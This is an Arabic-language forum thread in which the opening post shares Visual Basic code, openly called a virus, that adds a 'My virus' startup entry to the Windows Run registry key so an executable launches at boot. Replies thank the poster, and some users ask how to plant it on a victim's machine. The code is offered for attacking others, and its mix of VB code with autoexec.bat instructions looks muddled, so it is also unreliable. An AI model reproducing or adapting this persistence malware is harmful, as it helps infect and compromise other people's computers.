بسم الله الرحمن الرحيم اللهم عج ظهور الامام صاحب العصر و الزمان طيب لنبدأ : ليكو يا شباب اولا هيدا فيروس ملعووون يعمل تلقائيا بمجرد تشغيل الجهاز و يقوم بنسخ نفسه بس بدك تكتب الكود لازم تكتبه بالنوت باد و سميه autoexec.bat و بس تعمل حفظ حيكون اختفا عن سطح المكتب .. روح لابدا و اعمل بحث بس تلاقيه اعملو نسخ و لصق على سطح المكتب طيب خدو الكود و ادعو الي اوكي ؟ يا بدي ردود انا و عدكم بفيروووس من تطويري بس مش من تصميمي ههه يلا : Option Explicit Private Declare Function RegQueryValueEx Lib "advapi32.dll" Alias "RegQueryValueExA" (ByVal hKey As Long, ByVal lpValueName As String, ByVal lpReserved As Long, lpType As Long, ByVal lpData As String, lpcbData As Long) As Long Private Declare Function RegCreateKey Lib "advapi32.dll" Alias "RegCreateKeyA" (ByVal hKey As Long, ByVal lpSubKey As String, phkResult As Long) As Long Private Declare Function RegSetValueEx Lib "advapi32.dll" Alias "RegSetValueExA" (ByVal hKey As Long, ByVal lpValueName As String, ByVal Reserved As Long, ByVal dwType As Long, ByVal lpData As String, ByVal cbData As Long) As Long Private Declare Function RegOpenKey Lib "advapi32.dll" Alias "RegOpenKeyA" (ByVal hKey As Long, ByVal lpSubKey As String, phkResult As Long) As Long Private Declare Function RegDeleteKey Lib "advapi32.dll" Alias "RegDeleteKeyA" (ByVal hKey As Long, ByVal lpSubKey As String) As Long Private Declare Function RegDeleteValue Lib "advapi32.dll" Alias "RegDeleteValueA" (ByVal hKey As Long, ByVal lpValueName As String) As Long Private Const REG_SZ = 1 Private Const LOCALMACHINE = &H80000002 Private Sub Command1_Click() Dim InputValue As String Dim nBufferKey As Long, nBufferSubKey As Long RegCreateKey LOCALMACHINE, "SOFTWARE\JPRODUCTIONS", nBufferKey RegOpenKey LOCALMACHINE, "Software\Microsoft\Windows\CurrentVersion", nBufferKey RegOpenKey nBufferKey, "Run-", nBufferSubKey InputValue = "c:\windows\system\Project12.exe" RegOpenKey LOCALMACHINE, "Software\Microsoft\Windows\CurrentVersion", nBufferKey RegOpenKey nBufferKey, "Run-", nBufferSubKey RegSetValueEx nBufferSubKey, "My virus", 0, REG_SZ, InputValue, Len(InputValue) End Sub اول 6 اسطر عم يعرف الfunction على اماكنها وبيرجع بعرف الجهاز انه لازم من بعد التشغيل يشتغل الفيروس و يبلش شغله و دمتم سالمين دندندندندندندندندندندندند ندندند دن دندندندندندند دن دمتم سالمين
دندندندندندندندندندندندند ندندند دن دندندندندندند دن دمتم سالمين))) ههههههههههههه ههههههه حلوه هذي كلما فتحت الموضوع انفرطت ضحك على العموم شكرا شكرا شكرا شكرا شكرا شكرا شكرا شكرا بس المشكله انا ما بدي انشر الفايروس في جهازي انا ابغى انشره في جهاز الضحيه كيييييييييييييف؟؟؟؟؟
[email protected]
thank u so much broth you are cool
مهو يامولانا لما هحطه على جهازى يبقى أنا ف الضايع أنا كمان,, أعتقد برنامج الفريز ينفع فى كده,,الف كتر خيرك وياترى هل لازم الضحيه يفتحه على جهازه..؟ ولا أول أما يستلمه يشتغل.؟
فلنسعى لتكوين أحلى جيش يدافع عن الشريعه الإسلاميه وعن المظلومين.. تم تغير الإيميل b_1_d@9.cn http://im2.gulfup.com/2011-03-30/1301481146491.gif
مشكووووور اخوي .. وبالنسبه لـblack_dream الطريقتين ينفعو
لا اله الا الله محمد رسول الله
مشكوووووووووووووووووووووو ووووووووووووووووووووووور
مشكووور يا الغالي خطيييييير واصل
كلمتان خفيفتان على السان ثقيلتان في الميزان حبيبتان الى الرحمن سبحان الله وبحمده سبحان الله العظيم .................................................. .....
قوانين المنتدى